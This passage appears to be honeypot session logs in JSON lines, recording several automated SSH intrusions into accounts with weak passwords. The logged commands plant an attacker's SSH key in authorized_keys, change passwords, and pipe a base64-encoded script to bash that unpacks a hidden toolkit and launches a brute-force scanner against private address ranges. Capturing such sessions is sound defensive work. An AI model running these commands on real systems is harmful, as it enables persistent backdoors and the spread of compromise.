node\n^C"},{"seq":23,"at":"2026-08-20T12:07:00.908276+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T12:07:00.908819+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T12:07:01.045742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T12:07:01.046444+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T12:07:01.180777+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T12:07:01.181385+00:00","kind":"output","latency_ms":null,"data":"anupam"},{"seq":29,"at":"2026-08-20T12:07:01.316279+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T12:07:01.863397+00:00","kind":"output","latency_ms":546,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T12:07:01.999759+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T12:07:02.765992+00:00","kind":"output","latency_ms":765,"data":"24.0G"},{"seq":33,"at":"2026-08-20T12:07:03.334686+00:00","kind":"input","latency_ms":null,"data":"echo \"anupam anupam\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T12:07:03.471592+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T12:07:03.936715+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-20T12:07:03.967262+00:00","kind":"output","latency_ms":495,"data":""},{"seq":37,"at":"2026-08-20T12:07:04.551007+00:00","kind":"output","latency_ms":613,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T12:07:04.687736+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T12:07:05.360152+00:00","kind":"output","latency_ms":672,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T12:07:05.495641+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T12:07:05.629606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:07:06.486398+00:00","kind":"output","latency_ms":856,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T12:07:06.621538+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T12:07:07.252783+00:00","kind":"output","latency_ms":630,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T12:07:07.387601+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T12:07:15.712585+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-20T12:07:15.713196+00:00","kind":"output","latency_ms":null,"data":"anupam"}],"credentials":[{"username":"anupam","password":"anupam","method":"password","accepted":true,"tier":"other"}]} {"id":"aaa2b28a-6666-4cf6-ad14-ca446e83aab5","name":"northern-bold-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"78.109.200.147","src_port":51814,"username":"pivpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":500,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T09:24:27.111292+00:00","ended_at":"2026-08-20T09:24:27.263126+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3785,"events":[{"seq":1,"at":"2026-08-20T09:23:48.985013+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T09:23:49.496453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T09:23:54.231034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T09:23:54.712644+00:00","kind":"output","latency_ms":480,"data":"1"},{"seq":5,"at":"2026-08-20T09:23:55.220756+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1\\nmjk54oQoLjaZ\\nmjk54oQoLjaZ\"|passwd|bash"},{"seq":6,"at":"2026-08-20T09:23:55.728537+00:00","kind":"input","latency_ms":null,"data":"echo \"1\\nmjk54oQoLjaZ\\nmjk54oQoLjaZ\\n\"|passwd"},{"seq":7,"at":"2026-08-20T09:23:56.238202+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T09:23:56.815794+00:00","kind":"output","latency_ms":576,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T09:23:57.315165+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T09:23:58.048536+00:00","kind":"output","latency_ms":732,"data":"956 214 514 0 228 0"},{"seq":11,"at":"2026-08-20T09:23:58.549158+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T09:23:59.303133+00:00","kind":"output","latency_ms":753,"data":"-rwxr-xr-x 1 root root 151K Apr 8 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T09:23:59.804366+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T09:24:00.945872+00:00","kind":"output","latency_ms":1141,"data":"0 3 * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 */6 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1\n*/2 * * * * /usr/bin/node /opt/stable/src/server.js >/var/log/stable-node.log 2>&1"},{"seq":15,"at":"2026-08-20T09:24:01.449831+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T09:24:02.607867+00:00","kind":"output","latency_ms":1158,"data":" 03:09:53 up 6:14, 1 user, load average: 0.12, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\npivpn pts/0 203.0.113.1 03:10 0.00s 0.02s 0.00s w"},{"seq":17,"at":"2026-08-20T09:24:03.107854+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T09:24:03.108539+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T09:24:03.683614+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T09:24:04.208684+00:00","kind":"output","latency_ms":525,"data":"64"},{"seq":21,"at":"2026-08-20T09:24:04.709086+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T09:24:04.709558+00:00","kind":"output","latency_ms":null,"data":"top - 09:24:04 up 6:14, 0 user, load average: 0.07, 0.09, 0.07\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 487 free, 468 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T09:24:05.209857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T09:24:05.210222+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T09:24:05.720083+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T09:24:05.720794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T09:24:06.219178+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T09:24:06.220055+00:00","kind":"output","latency_ms":null,"data":"pivpn"},{"seq":29,"at":"2026-08-20T09:24:06.718773+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T09:24:07.878831+00:00","kind":"output","latency_ms":1160,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T09:24:08.379450+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T09:24:08.945546+00:00","kind":"output","latency_ms":565,"data":"24G"},{"seq":33,"at":"2026-08-20T09:24:10.731776+00:00","kind":"input","latency_ms":null,"data":"echo \"pivpn 1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T09:24:11.229862+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T09:24:11.844688+00:00","kind":"output","latency_ms":614,"data":""},{"seq":36,"at":"2026-08-20T09:24:13.118597+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T09:24:13.874553+00:00","kind":"output","latency_ms":756,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T09:24:14.373229+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T09:24:15.342139+00:00","kind":"output","latency_ms":967,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T09:24:15.839526+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T09:24:16.341420+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T09:24:16.922824+00:00","kind":"output","latency_ms":581,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T09:24:17.423065+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T09:24:18.103030+00:00","kind":"output","latency_ms":676,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T09:24:18.600529+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T09:24:19.316081+00:00","kind":"output","latency_ms":715,"data":""},{"seq":47,"at":"2026-08-20T09:24:27.111896+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T09:24:27.112593+00:00","kind":"output","latency_ms":null,"data":"pivpn"}],"credentials":[{"username":"pivpn","password":"1","method":"password","accepted":true,"tier":"other"}]} {"id":"a9fe09c8-f362-4730-9890-658fe77be56d","name":"tidal-indigo-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"103.161.113.136","src_port":53790,"username":"ftpadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":849,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T09:22:05.365710+00:00","ended_at":"2026-08-20T09:22:05.631619+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3812,"events":[{"seq":1,"at":"2026-08-20T09:21:12.876019+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T09:21:14.068719+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T09:21:20.489097+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T09:21:21.242744+00:00","kind":"output","latency_ms":752,"data":"1"},{"seq":5,"at":"2026-08-20T09:21:22.092432+00:00","kind":"input","latency_ms":null,"data":"echo -e \"changeme\\ndiCR0JPHsJPY\\ndiCR0JPHsJPY\"|passwd|bash"},{"seq":6,"at":"2026-08-20T09:21:22.941207+00:00","kind":"input","latency_ms":null,"data":"echo \"changeme\\ndiCR0JPHsJPY\\ndiCR0JPHsJPY\\n\"|passwd"},{"seq":7,"at":"2026-08-20T09:21:23.789773+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T09:21:25.811800+00:00","kind":"output","latency_ms":2021,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T09:21:26.665299+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T09:21:27.610961+00:00","kind":"output","latency_ms":948,"data":"956 0 956 0 0 0"},{"seq":11,"at":"2026-08-20T09:21:28.460526+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T09:21:29.736498+00:00","kind":"output","latency_ms":1277,"data":"-rwxr-xr-x 1 root root 148K Jan 1 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T09:21:30.584856+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T09:21:32.363386+00:00","kind":"output","latency_ms":1778,"data":"0 * * * * /opt/stable/bin/muck-out.sh >> /var/log/stable/muck-out.log 2>&1\n*/15 * * * * /opt/stable/bin/hoofcheck.sh >> /var/log/stable/hoofcheck.log 2>&1\n30 2 * * 1 /opt/stable/bin/gallop-backup.sh >> /var/log/stable/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/canter-deploy.sh >> /var/log/stable/canter-deploy.log 2>&1"},{"seq":15,"at":"2026-08-20T09:21:33.213372+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T09:21:34.823730+00:00","kind":"output","latency_ms":1611,"data":" 03:09:53 up 6:11, 1 user, load average: 0.00, 0.01, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nftpadmin pts/0 203.0.113.44 03:10 0.00s 0.00s 0.00s w"},{"seq":17,"at":"2026-08-20T09:21:35.670239+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T09:21:35.671126+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T09:21:36.519223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T09:21:37.001081+00:00","kind":"output","latency_ms":481,"data":"64"},{"seq":21,"at":"2026-08-20T09:21:37.849538+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T09:21:37.850261+00:00","kind":"output","latency_ms":null,"data":"top - 09:21:37 up 6:11, 0 user, load average: 0.05, 0.05, 0.03\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T09:21:38.697675+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T09:21:38.698442+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T09:21:39.545849+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T09:21:39.546841+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T09:21:40.393645+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T09:21:40.394230+00:00","kind":"output","latency_ms":null,"data":"ftpadmin"},{"seq":29,"at":"2026-08-20T09:21:41.242275+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T09:21:41.845688+00:00","kind":"output","latency_ms":603,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T09:21:42.694395+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T09:21:43.168459+00:00","kind":"output","latency_ms":473,"data":"24.02G"},{"seq":33,"at":"2026-08-20T09:21:45.837549+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpadmin changeme\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T09:21:46.684436+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T09:21:47.452564+00:00","kind":"output","latency_ms":767,"data":""},{"seq":36,"at":"2026-08-20T09:21:49.724344+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T09:21:50.247986+00:00","kind":"output","latency_ms":524,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-20T09:21:51.099081+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T09:21:51.692902+00:00","kind":"output","latency_ms":596,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T09:21:52.541550+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T09:21:53.388994+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T09:21:54.057090+00:00","kind":"output","latency_ms":667,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T09:21:54.906624+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T09:21:55.606095+00:00","kind":"output","latency_ms":699,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T09:21:56.456777+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T09:21:57.274813+00:00","kind":"output","latency_ms":818,"data":""},{"seq":47,"at":"2026-08-20T09:22:05.368803+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T09:22:05.369383+00:00","kind":"output","latency_ms":null,"data":"ftpadmin"}],"credentials":[{"username":"ftpadmin","password":"changeme","method":"password","accepted":true,"tier":"other"}]} {"id":"88e56eb6-fb2b-44ac-a292-58c2bea17bdc","name":"glassy-clever-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"51.75.247.232","src_port":38394,"username":"fts","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":280,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T06:09:48.871254+00:00","ended_at":"2026-08-20T06:09:48.945271+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3545,"events":[{"seq":1,"at":"2026-08-20T06:09:17.116831+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T06:09:17.394217+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T06:09:20.288052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T06:09:21.152425+00:00","kind":"output","latency_ms":865,"data":"1"},{"seq":5,"at":"2026-08-20T06:09:21.431079+00:00","kind":"input","latency_ms":null,"data":"echo -e \"fts\\nj7HfDCMXJPDE\\nj7HfDCMXJPDE\"|passwd|bash"},{"seq":6,"at":"2026-08-20T06:09:21.707303+00:00","kind":"input","latency_ms":null,"data":"echo \"fts\\nj7HfDCMXJPDE\\nj7HfDCMXJPDE\\n\"|passwd"},{"seq":7,"at":"2026-08-20T06:09:21.983999+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T06:09:22.523546+00:00","kind":"output","latency_ms":540,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T06:09:22.809555+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T06:09:23.362924+00:00","kind":"output","latency_ms":562,"data":"956 112 620 27 196 0"},{"seq":11,"at":"2026-08-20T06:09:23.642655+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T06:09:24.433443+00:00","kind":"output","latency_ms":792,"data":"lrwxrwxrwx 1 root root 7 Mar 15 2026 /bin/ls -> /usr/bin/ls"},{"seq":13,"at":"2026-08-20T06:09:24.713453+00:00","kind":"input","latency_ms":null,"data":"crontab 